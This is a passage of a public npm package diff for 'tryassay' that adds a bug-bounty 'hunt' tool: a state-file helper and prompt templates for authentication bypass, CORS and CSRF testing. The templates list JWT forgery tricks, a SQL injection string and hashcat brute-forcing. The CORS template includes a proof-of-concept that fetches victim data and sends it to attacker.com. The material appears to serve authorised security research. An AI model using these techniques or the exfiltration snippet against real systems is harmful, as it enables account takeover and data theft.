tryassay 0.31.0 → 0.33.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +55 -0
- package/dist/cli.js.map +1 -1
- package/dist/commands/assess.js +73 -0
- package/dist/commands/assess.js.map +1 -1
- package/dist/commands/bounty-chain.d.ts +1 -0
- package/dist/commands/bounty-chain.js +34 -0
- package/dist/commands/bounty-chain.js.map +1 -0
- package/dist/commands/bounty-check.d.ts +10 -0
- package/dist/commands/bounty-check.js +104 -0
- package/dist/commands/bounty-check.js.map +1 -0
- package/dist/commands/bounty-discover.d.ts +6 -0
- package/dist/commands/bounty-discover.js +45 -0
- package/dist/commands/bounty-discover.js.map +1 -0
- package/dist/commands/bounty-scan.d.ts +7 -0
- package/dist/commands/bounty-scan.js +312 -0
- package/dist/commands/bounty-scan.js.map +1 -0
- package/dist/commands/bounty-watch.d.ts +9 -0
- package/dist/commands/bounty-watch.js +210 -0
- package/dist/commands/bounty-watch.js.map +1 -0
- package/dist/commands/hunt.d.ts +11 -0
- package/dist/commands/hunt.js +216 -0
- package/dist/commands/hunt.js.map +1 -0
- package/dist/hunt/__tests__/deep-dive.test.d.ts +1 -0
- package/dist/hunt/__tests__/deep-dive.test.js +102 -0
- package/dist/hunt/__tests__/deep-dive.test.js.map +1 -0
- package/dist/hunt/__tests__/discovery.test.d.ts +1 -0
- package/dist/hunt/__tests__/discovery.test.js +55 -0
- package/dist/hunt/__tests__/discovery.test.js.map +1 -0
- package/dist/hunt/__tests__/e2e.test.d.ts +1 -0
- package/dist/hunt/__tests__/e2e.test.js +261 -0
- package/dist/hunt/__tests__/e2e.test.js.map +1 -0
- package/dist/hunt/__tests__/matcher.test.d.ts +1 -0
- package/dist/hunt/__tests__/matcher.test.js +63 -0
- package/dist/hunt/__tests__/matcher.test.js.map +1 -0
- package/dist/hunt/__tests__/orchestrator.test.d.ts +1 -0
- package/dist/hunt/__tests__/orchestrator.test.js +73 -0
- package/dist/hunt/__tests__/orchestrator.test.js.map +1 -0
- package/dist/hunt/__tests__/parse-utils.test.d.ts +1 -0
- package/dist/hunt/__tests__/parse-utils.test.js +28 -0
- package/dist/hunt/__tests__/parse-utils.test.js.map +1 -0
- package/dist/hunt/__tests__/state.test.d.ts +1 -0
- package/dist/hunt/__tests__/state.test.js +49 -0
- package/dist/hunt/__tests__/state.test.js.map +1 -0
- package/dist/hunt/__tests__/templates.test.d.ts +1 -0
- package/dist/hunt/__tests__/templates.test.js +32 -0
- package/dist/hunt/__tests__/templates.test.js.map +1 -0
- package/dist/hunt/__tests__/triage.test.d.ts +1 -0
- package/dist/hunt/__tests__/triage.test.js +91 -0
- package/dist/hunt/__tests__/triage.test.js.map +1 -0
- package/dist/hunt/__tests__/types.test.d.ts +1 -0
- package/dist/hunt/__tests__/types.test.js +65 -0
- package/dist/hunt/__tests__/types.test.js.map +1 -0
- package/dist/hunt/deep-dive.d.ts +8 -0
- package/dist/hunt/deep-dive.js +86 -0
- package/dist/hunt/deep-dive.js.map +1 -0
- package/dist/hunt/discovery.d.ts +15 -0
- package/dist/hunt/discovery.js +116 -0
- package/dist/hunt/discovery.js.map +1 -0
- package/dist/hunt/matcher.d.ts +8 -0
- package/dist/hunt/matcher.js +27 -0
- package/dist/hunt/matcher.js.map +1 -0
- package/dist/hunt/orchestrator.d.ts +27 -0
- package/dist/hunt/orchestrator.js +91 -0
- package/dist/hunt/orchestrator.js.map +1 -0
- package/dist/hunt/parse-utils.d.ts +2 -0
- package/dist/hunt/parse-utils.js +17 -0
- package/dist/hunt/parse-utils.js.map +1 -0
- package/dist/hunt/state.d.ts +5 -0
- package/dist/hunt/state.js +35 -0
- package/dist/hunt/state.js.map +1 -0
- package/dist/hunt/templates/auth-bypass.d.ts +2 -0
- package/dist/hunt/templates/auth-bypass.js +80 -0
- package/dist/hunt/templates/auth-bypass.js.map +1 -0
- package/dist/hunt/templates/cors-misconfig.d.ts +2 -0
- package/dist/hunt/templates/cors-misconfig.js +88 -0
- package/dist/hunt/templates/cors-misconfig.js.map +1 -0
- package/dist/hunt/templates/csrf-bypass.d.ts +2 -0
- package/dist/hunt/templates/csrf-bypass.js +65 -0
- package/dist/hunt/templates/csrf-bypass.js.map +1 -0
- package/dist/hunt/templates/index.d.ts +3 -0
- package/dist/hunt/templates/index.js +29 -0
- package/dist/hunt/templates/index.js.map +1 -0
- package/dist/hunt/templates/injection.d.ts +2 -0
- package/dist/hunt/templates/injection.js +103 -0
- package/dist/hunt/templates/injection.js.map +1 -0
- package/dist/hunt/templates/open-redirect.d.ts +2 -0
- package/dist/hunt/templates/open-redirect.js +93 -0
- package/dist/hunt/templates/open-redirect.js.map +1 -0
- package/dist/hunt/templates/path-traversal.d.ts +2 -0
- package/dist/hunt/templates/path-traversal.js +94 -0
- package/dist/hunt/templates/path-traversal.js.map +1 -0
- package/dist/hunt/templates/prototype-pollution.d.ts +2 -0
- package/dist/hunt/templates/prototype-pollution.js +108 -0
- package/dist/hunt/templates/prototype-pollution.js.map +1 -0
- package/dist/hunt/templates/ssrf.d.ts +2 -0
- package/dist/hunt/templates/ssrf.js +75 -0
- package/dist/hunt/templates/ssrf.js.map +1 -0
- package/dist/hunt/templates/timing-attack.d.ts +2 -0
- package/dist/hunt/templates/timing-attack.js +108 -0
- package/dist/hunt/templates/timing-attack.js.map +1 -0
- package/dist/hunt/templates/weak-random.d.ts +2 -0
- package/dist/hunt/templates/weak-random.js +73 -0
- package/dist/hunt/templates/weak-random.js.map +1 -0
- package/dist/hunt/triage.d.ts +8 -0
- package/dist/hunt/triage.js +78 -0
- package/dist/hunt/triage.js.map +1 -0
- package/dist/lib/__tests__/bounty-scan.test.d.ts +1 -0
- package/dist/lib/__tests__/bounty-scan.test.js +15 -0
- package/dist/lib/__tests__/bounty-scan.test.js.map +1 -0
- package/dist/lib/__tests__/chain-analyzer.test.d.ts +1 -0
- package/dist/lib/__tests__/chain-analyzer.test.js +47 -0
- package/dist/lib/__tests__/chain-analyzer.test.js.map +1 -0
- package/dist/lib/__tests__/change-classifier.test.d.ts +1 -0
- package/dist/lib/__tests__/change-classifier.test.js +55 -0
- package/dist/lib/__tests__/change-classifier.test.js.map +1 -0
- package/dist/lib/__tests__/finding-dedup.test.d.ts +1 -0
- package/dist/lib/__tests__/finding-dedup.test.js +30 -0
- package/dist/lib/__tests__/finding-dedup.test.js.map +1 -0
- package/dist/lib/__tests__/learned-rules.test.js +25 -0
- package/dist/lib/__tests__/learned-rules.test.js.map +1 -1
- package/dist/lib/__tests__/novelty-checker.test.d.ts +1 -0
- package/dist/lib/__tests__/novelty-checker.test.js +57 -0
- package/dist/lib/__tests__/novelty-checker.test.js.map +1 -0
- package/dist/lib/__tests__/program-registry.test.d.ts +1 -0
- package/dist/lib/__tests__/program-registry.test.js +40 -0
- package/dist/lib/__tests__/program-registry.test.js.map +1 -0
- package/dist/lib/__tests__/retry.test.d.ts +1 -0
- package/dist/lib/__tests__/retry.test.js +23 -0
- package/dist/lib/__tests__/retry.test.js.map +1 -0
- package/dist/lib/__tests__/watchlist.test.d.ts +1 -0
- package/dist/lib/__tests__/watchlist.test.js +88 -0
- package/dist/lib/__tests__/watchlist.test.js.map +1 -0
- package/dist/lib/chain-analyzer.d.ts +25 -0
- package/dist/lib/chain-analyzer.js +105 -0
- package/dist/lib/chain-analyzer.js.map +1 -0
- package/dist/lib/change-classifier.d.ts +3 -0
- package/dist/lib/change-classifier.js +97 -0
- package/dist/lib/change-classifier.js.map +1 -0
- package/dist/lib/finding-dedup.d.ts +2 -0
- package/dist/lib/finding-dedup.js +9 -0
- package/dist/lib/finding-dedup.js.map +1 -0
- package/dist/lib/issue-reporter.d.ts +13 -0
- package/dist/lib/issue-reporter.js +51 -0
- package/dist/lib/issue-reporter.js.map +1 -0
- package/dist/lib/novelty-checker.d.ts +60 -0
- package/dist/lib/novelty-checker.js +223 -0
- package/dist/lib/novelty-checker.js.map +1 -0
- package/dist/lib/program-registry.d.ts +12 -0
- package/dist/lib/program-registry.js +18 -0
- package/dist/lib/program-registry.js.map +1 -0
- package/dist/lib/retry.d.ts +5 -0
- package/dist/lib/retry.js +19 -0
- package/dist/lib/retry.js.map +1 -0
- package/dist/lib/watchlist.d.ts +23 -0
- package/dist/lib/watchlist.js +31 -0
- package/dist/lib/watchlist.js.map +1 -0
- package/dist/runtime/safe-executor.js +1 -1
- package/dist/runtime/safe-executor.js.map +1 -1
- package/dist/runtime/types.d.ts +1 -1
- package/dist/sdk/forward-verify.d.ts +2 -2
- package/dist/sdk/forward-verify.js +31 -2
- package/dist/sdk/forward-verify.js.map +1 -1
- package/dist/sdk/types.d.ts +8 -0
- package/dist/types.d.ts +45 -0
- package/package.json +1 -1
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'fs';
|
|
2
|
+
import { join } from 'path';
|
|
3
|
+
import { createHash } from 'crypto';
|
|
4
|
+
export function getStateDir(targetPath, baseDir) {
|
|
5
|
+
const hash = createHash('sha256').update(targetPath).digest('hex').slice(0, 12);
|
|
6
|
+
const base = baseDir || join(process.cwd(), '.assay', 'hunt');
|
|
7
|
+
return join(base, hash);
|
|
8
|
+
}
|
|
9
|
+
export function saveState(stateDir, state) {
|
|
10
|
+
mkdirSync(stateDir, { recursive: true });
|
|
11
|
+
writeFileSync(join(stateDir, 'state.json'), JSON.stringify(state, null, 2));
|
|
12
|
+
}
|
|
13
|
+
export function loadState(stateDir) {
|
|
14
|
+
const path = join(stateDir, 'state.json');
|
|
15
|
+
if (!existsSync(path))
|
|
16
|
+
return null;
|
|
17
|
+
try {
|
|
18
|
+
return JSON.parse(readFileSync(path, 'utf-8'));
|
|
19
|
+
}
|
|
20
|
+
catch {
|
|
21
|
+
return null;
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
export function checkStaleness(state, currentHashes) {
|
|
25
|
+
const staleFiles = [];
|
|
26
|
+
for (const h of state.hypotheses) {
|
|
27
|
+
const savedHash = state.fileHashes[h.file];
|
|
28
|
+
const currentHash = currentHashes[h.file];
|
|
29
|
+
if (savedHash && currentHash && savedHash !== currentHash) {
|
|
30
|
+
staleFiles.push(h.file);
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
return [...new Set(staleFiles)];
|
|
34
|
+
}
|
|
35
|
+
//# sourceMappingURL=state.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"state.js","sourceRoot":"","sources":["../../src/hunt/state.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,YAAY,EAAE,aAAa,EAAE,SAAS,EAAE,UAAU,EAAE,MAAM,IAAI,CAAC;AACxE,OAAO,EAAE,IAAI,EAAE,MAAM,MAAM,CAAC;AAC5B,OAAO,EAAE,UAAU,EAAE,MAAM,QAAQ,CAAC;AAGpC,MAAM,UAAU,WAAW,CAAC,UAAkB,EAAE,OAAgB;IAC9D,MAAM,IAAI,GAAG,UAAU,CAAC,QAAQ,CAAC,CAAC,MAAM,CAAC,UAAU,CAAC,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IAChF,MAAM,IAAI,GAAG,OAAO,IAAI,IAAI,CAAC,OAAO,CAAC,GAAG,EAAE,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;IAC9D,OAAO,IAAI,CAAC,IAAI,EAAE,IAAI,CAAC,CAAC;AAC1B,CAAC;AAED,MAAM,UAAU,SAAS,CAAC,QAAgB,EAAE,KAAgB;IAC1D,SAAS,CAAC,QAAQ,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;IACzC,aAAa,CAAC,IAAI,CAAC,QAAQ,EAAE,YAAY,CAAC,EAAE,IAAI,CAAC,SAAS,CAAC,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;AAC9E,CAAC;AAED,MAAM,UAAU,SAAS,CAAC,QAAgB;IACxC,MAAM,IAAI,GAAG,IAAI,CAAC,QAAQ,EAAE,YAAY,CAAC,CAAC;IAC1C,IAAI,CAAC,UAAU,CAAC,IAAI,CAAC;QAAE,OAAO,IAAI,CAAC;IACnC,IAAI,CAAC;QACH,OAAO,IAAI,CAAC,KAAK,CAAC,YAAY,CAAC,IAAI,EAAE,OAAO,CAAC,CAAC,CAAC;IACjD,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC;AAED,MAAM,UAAU,cAAc,CAC5B,KAAgB,EAChB,aAAqC;IAErC,MAAM,UAAU,GAAa,EAAE,CAAC;IAChC,KAAK,MAAM,CAAC,IAAI,KAAK,CAAC,UAAU,EAAE,CAAC;QACjC,MAAM,SAAS,GAAG,KAAK,CAAC,UAAU,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;QAC3C,MAAM,WAAW,GAAG,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;QAC1C,IAAI,SAAS,IAAI,WAAW,IAAI,SAAS,KAAK,WAAW,EAAE,CAAC;YAC1D,UAAU,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;QAC1B,CAAC;IACH,CAAC;IACD,OAAO,CAAC,GAAG,IAAI,GAAG,CAAC,UAAU,CAAC,CAAC,CAAC;AAClC,CAAC"}
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
export const authBypass = {
|
|
2
|
+
id: 'auth-bypass',
|
|
3
|
+
name: 'Authentication Bypass',
|
|
4
|
+
cwe: 'CWE-287',
|
|
5
|
+
filePatterns: ['auth', 'login', 'session', 'middleware', 'guard', 'protect', 'jwt', 'bearer'],
|
|
6
|
+
triagePrompt: `You are a security researcher hunting for authentication bypass vulnerabilities.
|
|
7
|
+
|
|
8
|
+
Analyze the code for flaws that allow requests to bypass authentication or authorization checks. Focus on:
|
|
9
|
+
1. Middleware ordering — is the auth middleware applied BEFORE route handlers, or only on some routes?
|
|
10
|
+
2. Route coverage — are all sensitive routes protected, or are some accidentally excluded?
|
|
11
|
+
3. JWT algorithm confusion — does the verifier explicitly reject 'alg: none'? Does it accept HS256 when RS256 is expected?
|
|
12
|
+
4. JWT secret strength — is the HMAC secret weak, hardcoded, or derived from a predictable value?
|
|
13
|
+
5. Role checks timing — is authorization checked before or after sensitive data is fetched/returned?
|
|
14
|
+
6. Session fixation — can an attacker force a session ID before authentication, then reuse it after?
|
|
15
|
+
|
|
16
|
+
KNOWN BYPASS TECHNIQUES:
|
|
17
|
+
- alg:none attack: modify JWT header to {"alg":"none"}, strip signature, server accepts as valid
|
|
18
|
+
- RS256→HS256 confusion: server uses public key as HMAC secret when verifier accepts both; attacker signs with public key via HS256
|
|
19
|
+
- JWT kid injection: if kid header is used to look up a key via DB/file, inject SQL/path traversal
|
|
20
|
+
- Expired token acceptance: does the server check exp claim? Is clock skew too generous?
|
|
21
|
+
- Missing auth on wildcard routes: /api/admin/* protected but /api/admin/export not in the list
|
|
22
|
+
- Parallel request race: check-then-act window where two threads both pass the check simultaneously
|
|
23
|
+
|
|
24
|
+
AUTH FRAMEWORK PITFALLS:
|
|
25
|
+
- Express: app.use(auth) after app.use('/route', handler) means handler runs without auth
|
|
26
|
+
- Next.js middleware: matchers with negative lookahead may have edge cases
|
|
27
|
+
- Koa: ctx.state.user set but not checked in downstream middleware that fetches data
|
|
28
|
+
|
|
29
|
+
RELEVANT SPECIFICATIONS:
|
|
30
|
+
- RFC 7519 Section 7.2: JWT validation steps (algorithm, signature, exp, nbf, iss, aud)
|
|
31
|
+
- RFC 7518 Section 3.6: Unsecured JWTs — 'none' algorithm MUST be explicitly rejected in security contexts`,
|
|
32
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an authentication bypass vulnerability.
|
|
33
|
+
|
|
34
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
35
|
+
|
|
36
|
+
Build a complete attack scenario:
|
|
37
|
+
1. Which route or endpoint is accessible without authentication?
|
|
38
|
+
2. What data or action does it expose?
|
|
39
|
+
3. What request does the attacker send? (Include headers, method, body)
|
|
40
|
+
4. Provide a concrete curl command as proof-of-concept.
|
|
41
|
+
5. What is the worst-case impact? (Data exfiltration, privilege escalation, account takeover?)
|
|
42
|
+
|
|
43
|
+
JWT-SPECIFIC ATTACK PROCEDURES:
|
|
44
|
+
- alg:none: base64url-decode header, change alg to "none", re-encode, use payload.header.. (empty signature)
|
|
45
|
+
- RS256→HS256: grab public key from JWKS endpoint (/jwks.json or /.well-known/jwks.json), sign JWT with it as HMAC-SHA256 secret, set alg:HS256
|
|
46
|
+
- Weak secret brute-force: extract JWT, run hashcat mode 16500 against common wordlists
|
|
47
|
+
- kid SQL injection: if kid is used in SELECT key FROM keys WHERE id = <kid>, try kid = ' OR '1'='1
|
|
48
|
+
|
|
49
|
+
ROLE ESCALATION AFTER AUTH BYPASS:
|
|
50
|
+
- Check if user object in JWT or session contains a role field that can be manipulated
|
|
51
|
+
- Look for privilege checks that compare string roles without canonicalization ('Admin' vs 'admin')
|
|
52
|
+
- Horizontal privilege escalation: auth passes but resource ownership is not verified
|
|
53
|
+
|
|
54
|
+
EVIDENCE TO INCLUDE:
|
|
55
|
+
- The exact JWT or request that bypasses the check
|
|
56
|
+
- Server response confirming access to protected resource
|
|
57
|
+
- The specific code lines where the check is missing or bypassable
|
|
58
|
+
|
|
59
|
+
RELEVANT SPECIFICATIONS:
|
|
60
|
+
- RFC 7519 Section 7.2: Mandatory JWT validation algorithm — must reject unsupported alg values
|
|
61
|
+
- RFC 7519 Section 4.1.4: exp (Expiration Time) claim validation`,
|
|
62
|
+
knownBypasses: [
|
|
63
|
+
'JWT alg:none — strip signature, set algorithm to none',
|
|
64
|
+
'RS256→HS256 confusion — sign with public key as HMAC secret',
|
|
65
|
+
'JWT kid header SQL/path injection',
|
|
66
|
+
'Missing auth middleware on specific routes (wildcard gap)',
|
|
67
|
+
'Role check after data fetch (authorization logic inversion)',
|
|
68
|
+
'Session fixation — force session ID before login',
|
|
69
|
+
'Expired JWT acceptance (missing exp validation)',
|
|
70
|
+
'Weak HMAC secret (brute-forceable with hashcat)',
|
|
71
|
+
],
|
|
72
|
+
specReferences: [
|
|
73
|
+
'RFC 7519 (JSON Web Token)',
|
|
74
|
+
'RFC 7519 Section 7.2 (JWT Validation)',
|
|
75
|
+
'RFC 7518 Section 3.6 (Unsecured JWTs)',
|
|
76
|
+
'OWASP Authentication Cheat Sheet',
|
|
77
|
+
],
|
|
78
|
+
severityRange: ['high', 'critical'],
|
|
79
|
+
};
|
|
80
|
+
//# sourceMappingURL=auth-bypass.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"auth-bypass.js","sourceRoot":"","sources":["../../../src/hunt/templates/auth-bypass.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,UAAU,GAA0B;IAC/C,EAAE,EAAE,aAAa;IACjB,IAAI,EAAE,uBAAuB;IAC7B,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,MAAM,EAAE,OAAO,EAAE,SAAS,EAAE,YAAY,EAAE,OAAO,EAAE,SAAS,EAAE,KAAK,EAAE,QAAQ,CAAC;IAC7F,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;2GAyB2F;IAEzG,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;iEA6B+C;IAE/D,aAAa,EAAE;QACb,uDAAuD;QACvD,6DAA6D;QAC7D,mCAAmC;QACnC,2DAA2D;QAC3D,6DAA6D;QAC7D,kDAAkD;QAClD,iDAAiD;QACjD,iDAAiD;KAClD;IACD,cAAc,EAAE;QACd,2BAA2B;QAC3B,uCAAuC;QACvC,uCAAuC;QACvC,kCAAkC;KACnC;IACD,aAAa,EAAE,CAAC,MAAM,EAAE,UAAU,CAAC;CACpC,CAAC"}
|
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
export const corsMisconfig = {
|
|
2
|
+
id: 'cors-misconfig',
|
|
3
|
+
name: 'CORS Misconfiguration',
|
|
4
|
+
cwe: 'CWE-942',
|
|
5
|
+
filePatterns: ['cors', 'origin', 'access-control', 'allow-origin', 'credentials'],
|
|
6
|
+
triagePrompt: `You are a security researcher hunting for CORS misconfiguration vulnerabilities.
|
|
7
|
+
|
|
8
|
+
Analyze the code for flaws in Cross-Origin Resource Sharing policy configuration. Focus on:
|
|
9
|
+
1. Origin reflection — does the server echo back the request's Origin header without validation?
|
|
10
|
+
2. Wildcard with credentials — does the server send Access-Control-Allow-Origin: * combined with Access-Control-Allow-Credentials: true? (browsers block this, but some clients don't)
|
|
11
|
+
3. Null origin acceptance — does the server allowlist the 'null' origin? (set by sandboxed iframes, data URIs, local files)
|
|
12
|
+
4. Regex bypass — is the origin validated by a regex that can be tricked? (e.g., /example\.com$/ matches evilexample.com)
|
|
13
|
+
5. Subdomain wildcard — does *.example.com unconditionally trust ALL subdomains including user-controlled ones?
|
|
14
|
+
6. Pre-flight vs actual request mismatch — are credentials checked on preflight but not on the actual request?
|
|
15
|
+
|
|
16
|
+
KNOWN BYPASS TECHNIQUES:
|
|
17
|
+
- Regex suffix match: if check is origin.endsWith('example.com'), attacker registers evilexample.com
|
|
18
|
+
- Null origin: <iframe sandbox="allow-scripts" srcdoc="..."> sends Origin: null — accepted if server allowlists null
|
|
19
|
+
- Subdomain reflection with subdomain takeover: sub.example.com is claimable on GitHub Pages/S3 → full CORS trust
|
|
20
|
+
- HTTP downgrade: HTTPS API reflects origin from HTTP version of attacker's domain
|
|
21
|
+
- Origin with port: if only example.com is validated, attacker controls example.com:8080
|
|
22
|
+
- Post-message relay: exploit trusted third-party that accepts all origins and relays to victim API
|
|
23
|
+
|
|
24
|
+
WHAT TO LOOK FOR IN CODE:
|
|
25
|
+
- req.headers.origin passed directly to res.setHeader('Access-Control-Allow-Origin', ...)
|
|
26
|
+
- allowedOrigins.includes(origin) without normalization (case, trailing slash, port)
|
|
27
|
+
- cors({ origin: true }) — reflects everything — in express/cors package
|
|
28
|
+
- Manual regex like /https?:\/\/(.+\.)?example\.com/ — check for anchoring
|
|
29
|
+
|
|
30
|
+
RELEVANT SPECIFICATIONS:
|
|
31
|
+
- Fetch Standard Section 3.2: CORS protocol definition
|
|
32
|
+
- Fetch Standard Section 3.2.5: Cannot combine * with credentials`,
|
|
33
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a CORS misconfiguration.
|
|
34
|
+
|
|
35
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
36
|
+
|
|
37
|
+
Build a complete attack scenario:
|
|
38
|
+
1. What origin does the attacker control or spoof?
|
|
39
|
+
2. What does the server respond with in Access-Control-Allow-Origin and Access-Control-Allow-Credentials?
|
|
40
|
+
3. What sensitive API endpoint does the attacker's page call?
|
|
41
|
+
4. What data can be read cross-origin? (credentials, tokens, PII)
|
|
42
|
+
5. Provide a concrete HTML/JavaScript proof-of-concept page.
|
|
43
|
+
|
|
44
|
+
PROOF-OF-CONCEPT TEMPLATE:
|
|
45
|
+
\`\`\`html
|
|
46
|
+
<script>
|
|
47
|
+
fetch('https://target.com/api/user', {
|
|
48
|
+
credentials: 'include',
|
|
49
|
+
headers: { 'Origin': 'https://attacker.com' }
|
|
50
|
+
})
|
|
51
|
+
.then(r => r.json())
|
|
52
|
+
.then(data => {
|
|
53
|
+
// exfiltrate to attacker server
|
|
54
|
+
fetch('https://attacker.com/exfil?data=' + JSON.stringify(data));
|
|
55
|
+
});
|
|
56
|
+
</script>
|
|
57
|
+
\`\`\`
|
|
58
|
+
|
|
59
|
+
EXPLOITABILITY MATRIX:
|
|
60
|
+
- Origin reflected + credentials: true → Full cross-origin authenticated reads → CRITICAL
|
|
61
|
+
- Null origin accepted + credentials: true → Exploitable via sandboxed iframe → HIGH
|
|
62
|
+
- Subdomain reflection + claimable subdomain → MEDIUM-HIGH (requires additional step)
|
|
63
|
+
- Wildcard (*) + no credentials → Low impact (no authenticated reads possible in browser)
|
|
64
|
+
|
|
65
|
+
WHAT TO VERIFY:
|
|
66
|
+
- Send the request with the crafted origin and confirm the response header
|
|
67
|
+
- Check if Access-Control-Allow-Credentials: true appears
|
|
68
|
+
- Confirm the API returns sensitive data on authenticated requests
|
|
69
|
+
- Test whether cookies are sent (check for Set-Cookie on auth endpoint)
|
|
70
|
+
|
|
71
|
+
RELEVANT SPECIFICATIONS:
|
|
72
|
+
- Fetch Standard Section 3.2.5: Access-Control-Allow-Origin wildcard + credentials is forbidden
|
|
73
|
+
- Fetch Standard Section 3.2.3: CORS preflight and its limitations`,
|
|
74
|
+
knownBypasses: [
|
|
75
|
+
'Origin reflection — server echoes request Origin without validation',
|
|
76
|
+
'Null origin acceptance (sandboxed iframes, data URIs)',
|
|
77
|
+
'Regex suffix bypass: evilexample.com matches /example\\.com$/',
|
|
78
|
+
'Subdomain reflection with subdomain takeover',
|
|
79
|
+
'Wildcard with credentials (Access-Control-Allow-Origin: *)',
|
|
80
|
+
'Port variation: example.com:8080 if only example.com validated',
|
|
81
|
+
],
|
|
82
|
+
specReferences: [
|
|
83
|
+
'Fetch Standard Section 3.2 (CORS protocol)',
|
|
84
|
+
'Fetch Standard Section 3.2.5 (Credentials + wildcard forbidden)',
|
|
85
|
+
],
|
|
86
|
+
severityRange: ['medium', 'high'],
|
|
87
|
+
};
|
|
88
|
+
//# sourceMappingURL=cors-misconfig.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cors-misconfig.js","sourceRoot":"","sources":["../../../src/hunt/templates/cors-misconfig.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,aAAa,GAA0B;IAClD,EAAE,EAAE,gBAAgB;IACpB,IAAI,EAAE,uBAAuB;IAC7B,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,MAAM,EAAE,QAAQ,EAAE,gBAAgB,EAAE,cAAc,EAAE,aAAa,CAAC;IACjF,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;kEA0BkD;IAEhE,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;mEAwCiD;IAEjE,aAAa,EAAE;QACb,qEAAqE;QACrE,uDAAuD;QACvD,+DAA+D;QAC/D,8CAA8C;QAC9C,4DAA4D;QAC5D,gEAAgE;KACjE;IACD,cAAc,EAAE;QACd,4CAA4C;QAC5C,iEAAiE;KAClE;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,MAAM,CAAC;CAClC,CAAC"}
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
export const csrfBypass = {
|
|
2
|
+
id: 'csrf-bypass',
|
|
3
|
+
name: 'CSRF Bypass',
|
|
4
|
+
cwe: 'CWE-352',
|
|
5
|
+
filePatterns: ['csrf', 'origin', 'referer', 'same-site', 'cross-site'],
|
|
6
|
+
negativePatterns: [],
|
|
7
|
+
triagePrompt: `You are a security researcher hunting for CSRF bypass vulnerabilities.
|
|
8
|
+
|
|
9
|
+
Analyze the code for flaws in cross-site request forgery protection. Focus on:
|
|
10
|
+
1. Origin/Referer header validation — is it strict or bypassable?
|
|
11
|
+
2. Wildcard domain matching — does *.example.com also match *.com?
|
|
12
|
+
3. Token generation — is the CSRF token cryptographically random?
|
|
13
|
+
4. Token validation — is comparison timing-safe? Is the token actually checked?
|
|
14
|
+
5. SameSite cookie attribute — is it set correctly? Can it be bypassed?
|
|
15
|
+
|
|
16
|
+
KNOWN BYPASS TECHNIQUES:
|
|
17
|
+
- TLD-level wildcards: *.com matches evil.com if label count isn't checked
|
|
18
|
+
- Null origin: some validators accept Origin: null (sandboxed iframes)
|
|
19
|
+
- Subdomain takeover: if *.example.com is allowed and sub.example.com is claimable
|
|
20
|
+
- Method override: POST protection bypassed via _method=GET parameter
|
|
21
|
+
- Content-type trick: application/x-www-form-urlencoded bypasses JSON CSRF checks
|
|
22
|
+
- Flash/PDF origin spoofing (legacy browsers)
|
|
23
|
+
|
|
24
|
+
RELEVANT SPECIFICATIONS:
|
|
25
|
+
- RFC 6454 (The Web Origin Concept): Origin header format and comparison rules
|
|
26
|
+
- Fetch Standard Section 3.2: CORS-safelisted request requirements
|
|
27
|
+
- SameSite cookies (RFC 6265bis): Lax vs Strict vs None semantics`,
|
|
28
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a CSRF bypass.
|
|
29
|
+
|
|
30
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
31
|
+
|
|
32
|
+
Build a complete attack scenario:
|
|
33
|
+
1. What origin/request can the attacker craft?
|
|
34
|
+
2. What server-side check does it bypass?
|
|
35
|
+
3. What action can the attacker force the victim to perform?
|
|
36
|
+
4. Provide a concrete curl command or HTML form as proof-of-concept.
|
|
37
|
+
|
|
38
|
+
Be specific about WHY the bypass works — cite the exact code path and the spec violation.
|
|
39
|
+
|
|
40
|
+
KNOWN BYPASS TECHNIQUES:
|
|
41
|
+
- TLD-level wildcards: *.com matches evil.com if label count isn't checked
|
|
42
|
+
- Null origin: some validators accept Origin: null
|
|
43
|
+
- Subdomain takeover: claimable subdomains under allowed wildcards
|
|
44
|
+
- Method override: _method parameter bypasses POST-only CSRF checks
|
|
45
|
+
- Content-type bypass: form-urlencoded avoids JSON content-type CSRF checks
|
|
46
|
+
|
|
47
|
+
RELEVANT SPECIFICATIONS:
|
|
48
|
+
- RFC 6454 Section 5: Comparing Origins (scheme + host + port must all match)
|
|
49
|
+
- RFC 6265bis Section 5.3.7: SameSite attribute processing`,
|
|
50
|
+
knownBypasses: [
|
